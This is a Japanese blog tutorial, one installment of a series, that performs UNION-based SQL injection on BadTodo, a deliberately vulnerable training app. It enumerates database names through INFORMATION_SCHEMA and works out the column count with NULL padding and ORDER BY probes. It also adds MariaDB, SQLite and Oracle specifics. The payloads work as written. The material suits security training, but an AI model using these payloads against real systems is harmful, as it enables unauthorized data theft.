やられアプリ BadTodo - 3.3 SQLインジェクション DB情報の取得

前回:やられアプリ BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩 - demandosigno

深掘り

前回「検索画面」でのSQLインジェクションを試し通常では表示されない非公開のTodoを表示させることができました。
今回はさらにDB内のその他の情報を閲覧できないか探っていきます。

前提:BadTodo - 3 SQLインジェクションでのエラー画面にて利用DBがMariaDBだと分かっています。

データベース一覧の表示

UNION と INFORMATION_SCHEMAを使います。
SQLの標準規格で INFORMATION_SCHEMAというデータベースが規定されています。また INFORMATION_SCHEMAの SCHEMATAテーブルにデータベースに関する情報を格納しています。よって
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
でデータベースに存在するDB一覧を表示できます。

検索欄は元々Todoリストの表を表示させるものですので、その後ろに UNION で別の結果を連結します。最後に # を付けそれ以降をコメントアウトします。
' UNION SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA#

実際に入力・検索してみます。

DBエラーになりました。(Cardinality violation: ...different number of columns)

UNIONは複数の検索結果を1つの結果表として返してくれますが、それぞれの検索結果の列数が異なったりデータ型がバラバラだとDBMSは表を一つにまとめることができません。
そこでDBエラーが出なくなるまでNULLで列数を増やしていきます。
(NULLは何型でも存在する(すべての一般的なデータ型に変換可能)ので個数だけあっていれば良い)
1列から始めても良いですが、今回は元の表が8列ですので8列…9列と試して10列でエラーが出なくなりました。
' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA#

実際、Todo検索時のクエリ結果を生で確認すると10列です。

+----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+
| id | owner | userid | todo | c_date     | due_date   | done | org_filename | real_filename       | public |
+----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+
|  5 |     3 | test   | test | 2023-08-10 | 2023-08-10 |    0 | hacker.png   | 64d431c5-hacker.png |      1 |
+----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+

現時点では検索結果の表は空です。これはプログラム上「公開」列はDBのデータが真(1など)であれば「OK」と表示し偽(0など)であれば「何も表示しない」というロジックになっているためです。
そこでいかにも文字列を表示できそうな「todo」列=3列目に表示させるように並び替えます。
' UNION SELECT null,null,SCHEMA_NAME,null,null,null,null,null,null,null FROM INFORMATION_SCHEMA.SCHEMATA#

DB上での3列目は userid で、画面上の2列目にあたりますのでそこに表示されましたが、これでDB名が取得できました。

' union select 1,2,3,4,5,6,7,8,9,10#
初めに列数分数字を入れてみてDBの列数と画面の列数がどう対応しているか、どの列に情報を出力できそうか確認してみるのもありです。

' union select 'a','b','c','d','e','f','g','h','i','j'#

本来は' union select 'a',null,null,null,null,null,null,null,null,null#のように1列目に文字列型が入力できるか?と1列ずつ確かめていくのですが、この例では全列エラーになりませんでした。ここで気付いたのですが、先に「UNIONでは列数と型を合わせる必要がある」と書きましたが、MySQLなど幾つかのDBMSでは暗黙の型変換をしてくれるので型は違ってもエラーとはならないようです)

MariaDB [todo]> SELECT 1 AS NUM1, 2 AS NUM2 UNION SELECT 3,'a';
+------+------+
| NUM1 | NUM2 |
+------+------+
|    1 | 2    |
|    3 | a    |
+------+------+

ただし開発側としては暗黙の型変換は使うべきでないです。(下記は2009年の記事で、私自身で調べ切れていませんが近年でも同様のようです)
SQLの暗黙の型変換はワナがいっぱい | 徳丸浩の日記

UNION (Transact-SQL) - SQL Server | Microsoft Learn
2 つのクエリの結果を、単一の結果セットに連結します。 結果セットに重複する行が含まれるかどうかを制御します。
UNION ALL - 重複が含まれます。
UNION - 重複が除外されます。

MySQL :: MySQL 8.0 リファレンスマニュアル :: 26 INFORMATION_SCHEMA テーブル
INFORMATION_SCHEMA は、各 MySQLインスタンス内のデータベースであり、MySQL Server が保持するほかのすべてのデータベースに関する情報を格納する場所です。
INFORMATION_SCHEMA データベースには複数の読み取り専用テーブルが含まれます。これらには実際にはビューがあるので、関連付けられたファイルはなく、トリガーは設定できません。また、その名前を持つデータベースディレクトリもありません。
USE ステートメントを使用してデフォルトデータベースとして INFORMATION_SCHEMA を選択できますが、実行できる操作はテーブル内容の読み取りだけで、テーブルに対する INSERT、UPDATE、DELETE 操作は実行できません。

列数の推測

今回、列数を調べるために NULL を一つずつ増やしましたが、列数の推測には ORDER BY 句も使えます。
SELECT 文の最後に ORDER BY を記述すると、指定した列の値を基準として検索結果を並べ替えて取得します。

SELECT 列名... FROM テーブル名 ORDER BY 列名 並び順(ASC または DESC。省略するとASC)
また、列名ではなく列番号を指定することも可能です。
よってtest' order by 1#と検索するとDB上のカラム1列目の「id」列を基準として並び替えたものが表示されます。

そしてorder by 9 order by 10と増やしていきtest' order by 11#とすると11列目を基準に並び変えようとしますが、11列目は無いためエラーとなり(Column not found)、このテーブルは10列であることが分かります。

補足

SQLiteの場合' ORDER BY 100 --と入力することで一度の試行で列数を求めることができます。この場合、以下のエラーが表示されます。
SQLSTATE[HY000]: General error: 1 1st ORDER BY term out of range - should be between 1 and 4
というエラー表示から、列数は4であることがわかります。
パスワードがハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題解答 #Security - Qiita

OracleではすべてのSELECTクエリはFROMキーワードを使用し、有効なテーブルを指定しなければなりません。Oracleにはdualという組み込みテーブルがあり、この目的で使用することができます。したがって、Oracleの注入クエリは以下のようにする必要があります。
' UNION SELECT NULL FROM DUAL--

データベース固有の構文の詳細については、SQL インジェクションチートシートを参照してください。
SQL injection cheat sheet | Web Security Academy

引き続き、今回分かったDB名を元に内部を探っていきます。
次回:やられアプリ BadTodo - 3.4 SQLインジェクション ID・パスワードの取得 - demandosigno

/* -----codeの行番号----- */